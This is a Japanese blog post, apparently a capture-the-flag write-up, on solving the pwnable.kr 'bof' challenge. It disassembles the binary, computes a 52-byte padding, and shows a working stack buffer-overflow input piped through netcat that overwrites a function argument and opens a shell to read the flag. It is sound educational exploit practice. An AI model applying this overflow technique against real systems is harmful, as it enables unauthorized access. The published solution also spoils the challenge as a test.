pwnable.kr(3)
ちょっと間が空いて2つ目の記事で終わりそうでした。僕もあまり続くようなたちではないんですけど、頑張ってみようと思います。身になると信じて。
bof
pwnable.krの3つ目の問題です。netcat系の問題ですね。
nc pwnable.kr 9000
を実行して適当に入れるとoverflow me...が出る。
そのあとは、先にソースコードを見た。ソースコードから得られるのは、まず何を入力すればいいのかということ。
関数funcは0xdeadbeefの引数で呼ばれている。引数がpushされて呼ばれているくさいので、当分の目標はpushされた引数をgetsによる変数overflowmeへの書き込みによって上書きするというもの。入力する値は、適当な文字列(少なくとも32文字以上)+¥xbe¥xba¥xfe¥xca。後半部分は、0xcafebabeのリトルエンディアン表記。んで、適当な文字列を何文字入れれば良いのかということなんだけど。
バイナリ見てみる。
% objdump --arch-name=x86 -d bof
まず、mainをみる。
main: 68a: 55 pushl %ebp 68b: 89 e5 movl %esp, %ebp 68d: 83 e4 f0 andl $-16, %esp 690: 83 ec 10 subl $16, %esp 693: c7 04 24 ef be ad de movl $3735928559, (%esp) 69a: e8 8d ff ff ff calll -115 <func> 69f: b8 00 00 00 00 movl $0, %eax 6a4: c9 leave 6a5: c3 retl 6a6: 90 nop
の
693: c7 04 24 ef be ad de movl $3735928559, (%esp)
この部分を見て、deadbeefがスタックに積まれている事がわかる。
その次の行でfuncを呼び出してる。
funcは
func: 62c: 55 pushl %ebp 62d: 89 e5 movl %esp, %ebp 62f: 83 ec 48 subl $72, %esp 632: 65 a1 14 00 00 00 movl %gs:20, %eax 638: 89 45 f4 movl %eax, -12(%ebp) 63b: 31 c0 xorl %eax, %eax 63d: c7 04 24 8c 07 00 00 movl $1932, (%esp) 644: e8 fc ff ff ff calll -4 <func+0x19> 649: 8d 45 d4 leal -44(%ebp), %eax 64c: 89 04 24 movl %eax, (%esp) 64f: e8 fc ff ff ff calll -4 <func+0x24> 654: 81 7d 08 be ba fe ca cmpl $3405691582, 8(%ebp) 65b: 75 0e jne 14 <func+0x3F> 65d: c7 04 24 9b 07 00 00 movl $1947, (%esp) 664: e8 fc ff ff ff calll -4 <func+0x39> 669: eb 0c jmp 12 <func+0x4B> 66b: c7 04 24 a3 07 00 00 movl $1955, (%esp) 672: e8 fc ff ff ff calll -4 <func+0x47> 677: 8b 45 f4 movl -12(%ebp), %eax 67a: 65 33 05 14 00 00 00 xorl %gs:20, %eax 681: 74 05 je 5 <func+0x5C> 683: e8 fc ff ff ff calll -4 <func+0x58> 688: c9 leave 689: c3 retl
どこが変数overflowなのか探すために、比較しているところをみる。
649: 8d 45 d4 leal -44(%ebp), %eax 64c: 89 04 24 movl %eax, (%esp) 64f: e8 fc ff ff ff calll -4 <func+0x24> 654: 81 7d 08 be ba fe ca cmpl $3405691582, 8(%ebp)
ここ。eax = ebp-44 で、この値をスタックにおいてから、getsを呼んでる。したがって、ebp-44がoverflowの先頭だっていう事がわかる。また、cmplからebp+8がfuncの引数keyって事がわかる。したがって、ebp-44からebp+8までの差ebp+8-(ebp-44)=52が適当な文字列の長さ。これに付け加えれば良い。
したがって、入力するコードが
% (python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
となる。このあとは、シェルが起動しているので、
% (python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000 ls bof bof.c flag log log2 super.pl cat flag
でフラグがでます。